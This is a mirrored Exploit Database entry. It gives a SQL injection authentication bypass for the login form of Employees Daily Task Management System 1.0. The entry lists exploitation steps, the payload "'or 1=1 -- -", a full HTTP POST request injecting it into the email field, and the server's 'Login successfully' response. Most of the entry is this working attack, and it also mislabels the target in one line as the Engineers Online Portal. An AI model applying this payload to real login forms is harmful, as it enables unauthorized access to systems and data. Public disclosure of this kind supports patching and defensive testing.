Employees Daily Task Management System 1.0 – ‘username’ SQLi Authentication Bypass

• Exploit Database
• 14 阅读

• 作者： able403
  日期： 2021-12-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50582/

• # Exploit Title: Employees Daily Task Management System 1.0 - 'username' SQLi Authentication Bypass
  # Exploit Author: able403
  # Date: 08/12/2021
  # Vendor Homepage: https://www.sourcecodester.com/php/15030/employee-daily-task-management-system-php-and-sqlite-source-code.html
  # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/edtms.zip
  # Version: 1.0
  # Tested on: windows 10 
  # Vulnerable page: Actions.php
  # VUlnerable parameters: "username"
  
  Technical description:
  
  An SQL Injection vulnerability exists in theEmployees Daily Task Management System admin login form which can allow an attacker to bypass authentication.
  
  Steps to exploit:
  
  1) Navigate to http://localhost/login.php
  
  2) Insert your payload in the user or password field 
  
  3) Click login
  
  Proof of concept (Poc):
  
  The following payload will allow you to bypass the authentication mechanism of the Engineers Online Portal login form - 
  
  123'+or+1=1+--+-
  
  
  
  
  --- 
  
  
  
  
  POST /Actions.php?a=employee_login HTTP/1.1
  
  Host: localhost
  
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
  
  Accept: application/json, text/javascript, */*; q=0.01
  
  Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  
  Accept-Encoding: gzip, deflate
  
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  
  X-Requested-With: XMLHttpRequest
  
  Content-Length: 43
  
  Origin: http://edtms.com
  
  Connection: close
  
  Referer: http://edtms.com/login.php
  
  Cookie: PHPSESSID=p98m8ort59hfbo3qdu2o4a59cl
  
  
  
  
  email=admin'+or+1=1+--+-&password=123123213
  
  
  
  
  response
  
  
  
  
  HTTP/1.1 200 OK
  
  Date: Wed, 10 Nov 2021 02:23:38 GMT
  
  Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
  
  X-Powered-By: PHP/8.0.2
  
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  
  Cache-Control: no-store, no-cache, must-revalidate
  
  Pragma: no-cache
  
  Connection: close
  
  Content-Type: text/html; charset=UTF-8
  
  Content-Length: 48
  
  
  
  
  {"status":"success","msg":"Login successfully."}
  
  
  
  
  ---